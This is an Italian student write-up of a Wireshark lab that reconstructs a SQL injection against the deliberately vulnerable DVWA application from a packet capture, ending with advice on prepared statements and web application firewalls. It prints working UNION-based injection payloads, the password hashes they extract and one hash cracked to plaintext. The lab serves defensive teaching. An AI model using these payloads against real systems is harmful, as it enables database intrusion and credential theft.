

Bonus 2: Attacco a un database MySQL

Obiettivo: Analizzare un file PCAP tramite Wireshark per ricostruire le fasi di un attacco di SQL Injection contro un database.

Parte 1: Analisi iniziale del traffico di rete

Per iniziare l'indagine, ho aperto il file di cattura SQL_Lab.pcap in Wireshark per esaminare i pacchetti registrati.

- **Quali sono i due indirizzi IP coinvolti in questo attacco di SQL injection in base alle informazioni visualizzate?** Osservando i primi pacchetti scambiati (in particolare il **three-way handshake** TCP iniziale e le prime richieste HTTP GET), gli IP coinvolti sono 10.0.2.4, che agisce come sorgente (l'attaccante), e 10.0.2.15, che è la destinazione (il server vulnerabile).

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	10.0.2.4	10.0.2.15	TCP	74	35614 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=45838 TSecr=0 WS=128
2	0.000315	10.0.2.15	10.0.2.4	TCP	74	80 → 35614 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM TSval=38535 TSecr=45838 WS=128
3	0.000349	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=45838 TSecr=38535
4	0.000681	10.0.2.4	10.0.2.15	HTTP	654	POST /dvwa/login.php HTTP/1.1 (application/x-www-form-urlencoded)
5	0.002149	10.0.2.15	10.0.2.4	TCP	66	80 → 35614 [ACK] Seq=1 Ack=589 Win=30208 Len=0 TSval=38536 TSecr=45838
6	0.005700	10.0.2.15	10.0.2.4	HTTP	430	HTTP/1.1 302 Found
7	0.005700	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=589 Ack=365 Win=30336 Len=0 TSval=45840 TSecr=38536
8	0.014383	10.0.2.4	10.0.2.15	HTTP	496	GET /dvwa/index.php HTTP/1.1
9	0.015485	10.0.2.15	10.0.2.4	HTTP	3107	HTTP/1.1 200 OK (text/html)
10	0.015485	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1019 Ack=3406 Win=36480 Len=0 TSval=45843 TSecr=38539
11	0.068625	10.0.2.4	10.0.2.15	HTTP	429	GET /dvwa/dvwa/css/main.css HTTP/1.1
12	0.070400	10.0.2.15	10.0.2.4	HTTP	1511	HTTP/1.1 200 OK (text/css)
13	174.254430	10.0.2.4	10.0.2.15	HTTP	536	GET /dvwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1
14	174.254581	10.0.2.15	10.0.2.4	TCP	66	80 → 35638 [ACK] Seq=1 Ack=471 Win=235 Len=0 TSval=82101 TSecr=98114
15	174.257989	10.0.2.15	10.0.2.4	HTTP	1861	HTTP/1.1 200 OK (text/html)
16	220.490531	10.0.2.4	10.0.2.15	HTTP	577	GET /dvwa/vulnerabilities/sqli/?id=1%27+or+%270%27%3D0%270&Submit=Submit HTTP/1.1
17	220.490637	10.0.2.15	10.0.2.4	TCP	66	80 → 35640 [ACK] Seq=1 Ack=512 Win=235 Len=0 TSval=93660 TSecr=111985
18	220.493085	10.0.2.15	10.0.2.4	HTTP	1918	HTTP/1.1 200 OK (text/html)
19	277.727722	10.0.2.4	10.0.2.15	HTTP	630	GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+database%28%29%2C+user%28%29%23&Submit=Submit HTTP/1.1

Parte 2 e 3: Individuazione della vulnerabilità e primi accessi

Seguendo i flussi TCP/HTTP, ho osservato che l'attaccante ha iniettato la stringa logica 1=1 (codificata nell'URL) nei campi di input. Poiché l'espressione è sempre vera, il server, invece di restituire un errore di login, ha iniziato a "sputare" fuori i dati del database. Nel flusso della riga 19, è visibile il primo grande successo dell'attacco: l'output espone chiaramente che il database si chiama dvwa e che l'utente è root@localhost.

```
<pre>ID: 1' or 1=1 union select database(), user()#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select database(), user()#<br />First name: dvwa<br />Surname: root@localhost</pre>
```

Parte 4: L'attacco di SQL Injection fornisce informazioni di sistema

L'aggressore ha poi modificato la query usando il comando version() per scoprire l'ambiente tecnico della vittima.

- **Qual è la versione?** Leggendo la parte finale della risposta HTTP inviata dal server, si nota chiaramente la stringa 5.7.12-0ubuntu1.1. Questo indica

all'attaccante che il sistema sta utilizzando MySQL versione 5.7.12 su un server Ubuntu.

```
<pre>ID: 1' or 1=1 union select null, version ()#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name: <br />Surname: 5.7.12-0ubuntu1.1</pre>
```

Parte 5: L'attacco di SQL Injection e le informazioni sulle tabelle

Successivamente, l'attaccante ha cercato di farsi elencare tutte le tabelle del database.

- **Cosa farebbe per l'aggressore il comando modificato (con la clausola WHERE table_name='users')?** Fornirebbe un enorme vantaggio: invece di ricevere un output chilometrico e confuso contenente l'elenco di tutte le tabelle di sistema, il database risponderebbe con un output molto più breve, filtrato appositamente per mostrare solo l'occorrenza della parola "users".

Parte 6: L'attacco di SQL Injection si conclude

Nella fase finale dell'attacco (riga 28 del file PCAP), l'aggressore esegue una query mirata per estrarre la tabella degli utenti e le relative password.

- **Quale utente ha l'hash della password di 8d3533d75ae2c3966d7e0d4fcc69216b?** Analizzando il blocco di testo restituito dal server, questo specifico hash risulta associato al "First name: 1337".

```
<pre>ID: 1' or 1=1 union select user, password from users#<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: admin<br />Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: gordonb<br />Surname: e99a18c428cb38d5f260853678922e03</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: 1337<br />Surname: 8d3533d75ae2c3966d7e0d4fcc69216b</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: pablo<br />Surname: 0d107d09f5bbe40cade3de5c71e9e9b7</pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: smithy<br />Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre>
```

- **Qual è la password in chiaro?** Per dimostrare la criticità di questo furto, ho copiato l'hash ottenuto e l'ho inserito nel database online di CrackStation. Trattandosi di un semplice hash MD5, il sito lo ha decifrato all'istante, rivelando che la password in chiaro è charley.

Hash	Type	Result
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley

Domande di Riflessione Finali

1. Qual è il rischio che le piattaforme utilizzino il linguaggio SQL?

I siti web moderni si basano quasi tutti su database relazionali interrogati tramite SQL. Il rischio principale è che, se l'applicazione web non è programmata in modo sicuro, un aggressore può manipolare le query per eseguire comandi non autorizzati. La gravità dell'attacco è limitata solo dalle intenzioni dell'aggressore: può andare dal semplice furto di dati (come visto in questo lab) fino alla modifica o cancellazione totale del database.

2. Quali sono 2 metodi o passaggi che possono essere adottati per prevenire gli attacchi di SQL injection?

Effettuando una ricerca sulle migliori pratiche difensive, le due soluzioni principali sono: 1. **Filtrare e sanificare l'input dell'utente:** Non fidarsi mai dei dati inseriti nei form, bloccando o neutralizzando i caratteri speciali usati per le query logiche (come gli apici o i segni di uguale). L'uso di "prepared statements" (query parametrizzate) risolve il problema alla radice. 2. **Implementare un Web Application Firewall (WAF):** Questo strumento si posiziona davanti al server web e blocca automaticamente le richieste HTTP che contengono pattern noti di SQL Injection (come la stringa 1=1 vista nell'esercizio).